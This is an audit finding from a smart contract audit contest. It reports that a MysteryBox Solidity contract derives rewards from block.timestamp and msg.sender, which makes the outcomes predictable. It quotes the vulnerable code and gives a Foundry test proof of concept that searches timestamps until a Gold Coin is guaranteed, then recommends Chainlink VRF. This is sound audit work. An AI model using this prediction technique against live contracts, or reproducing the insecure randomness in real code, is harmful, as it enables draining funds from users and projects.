Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Weak randomness in `MysteryBox::openBox` allows predictable high-value reward exploitation

Summary

The MysteryBox contract contains a critical vulnerability in its random number generation mechanism in MysteryBox::openBox, which can be exploited to predict and manipulate the outcomes of box openings. This weakness allows malicious actors to consistently obtain high-value rewards, potentially draining the contract's funds and undermining the fairness of the game.

Vulnerability Details

Affected code - https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L47

The vulnerability lies in the MysteryBox::openBox function, specifically in the random number generation:

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
@> uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}

This method of generating randomness is insecure because:

  1. block.timestamp is predictable and can could be manipulated by miners within a small range (for our case it is predictability)

  2. msg.sender is known and constant for a given user.

  3. The modulo operation (% 100) further reduces the randomness, creating a biased distribution.

PoC

  1. The attacker checks block.timestamp and calculates the random value that the MysteryBox would have in that transaction.

  2. Once the desired random value has been found, the attacker opens the box.

  3. Attacker verifies that they have obtained the highest-valued box with only one transaction.

function testWeakRandomness() public {
vm.deal(user1, 1 ether);
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
uint256 trials = 0;
uint256 expectedRandomValue = 0;
uint256 timestamp;
// Arbitrary value to simulate a real case
vm.warp(1727820000);
// Simulate mining new blocks until we get the expected random value of 99
// NOTE: In a real exploit, we would leverage another entity to call this
// function repeatedly with different block.timestamp values to calculate and check
// 1. Calculate random value
while (expectedRandomValue != 99) {
vm.warp(block.timestamp + 1);
timestamp = block.timestamp;
bytes32 hash = keccak256(abi.encodePacked(timestamp, user1));
expectedRandomValue = uint256(hash) % 100;
trials++;
}
console2.log("Total Trials:", trials);
// 2. Open box
vm.startPrank(user1);
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
vm.stopPrank();
if (rewards.length > 0) {
console.log("Got back", rewards[0].name);
}
// 3. Verify attacker got the Gold Coin
assertEq(rewards[0].name, "Gold Coin", "Should receive Gold Coin");
}

This PoC demonstrates that an attacker can:

  1. Predict the outcome of the MysteryBox::openBox function by simulating different timestamps.

  2. Consistently receive the highest value reward (Gold Coin) by executing the transaction at the right moment.

The console output shows:

Total Trials: 112
Got back Gold Coin

This output indicates that the attacker successfully received a Gold Coin with only one transaction to MysteryBox::openBox, which has only a 1% chance of being obtained under normal circumstances.

These actions should not be possible in a truly random system, highlighting the severity of the weak randomness vulnerability in the MysteryBox contract.

Impact

The impact of this vulnerability is severe:

Users can manipulate the system to consistently obtain high-value rewards, breaking the intended probability distribution. This can lead to the contract may rapidly deplete its funds by disproportionately awarding high-value prizes all the time.

In the end, it will likely lead to a loss of user trust and potentially the abandonment of the platform.

Tools Used

Manual Review and Foundry Test

Recommendations

To address this vulnerability, consider the following recommendations:

Implement more secure sources of entropy or use Verifiable Random Function (VRF) as for example Chainlink VRF, which provides cryptographically guaranteed randomness. This is the industry standard for RNG without compromising security or usability

By implementing the recommendations, the MysteryBox contract can significantly improve its randomness generation, ensuring fair and unpredictable outcomes for all users.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.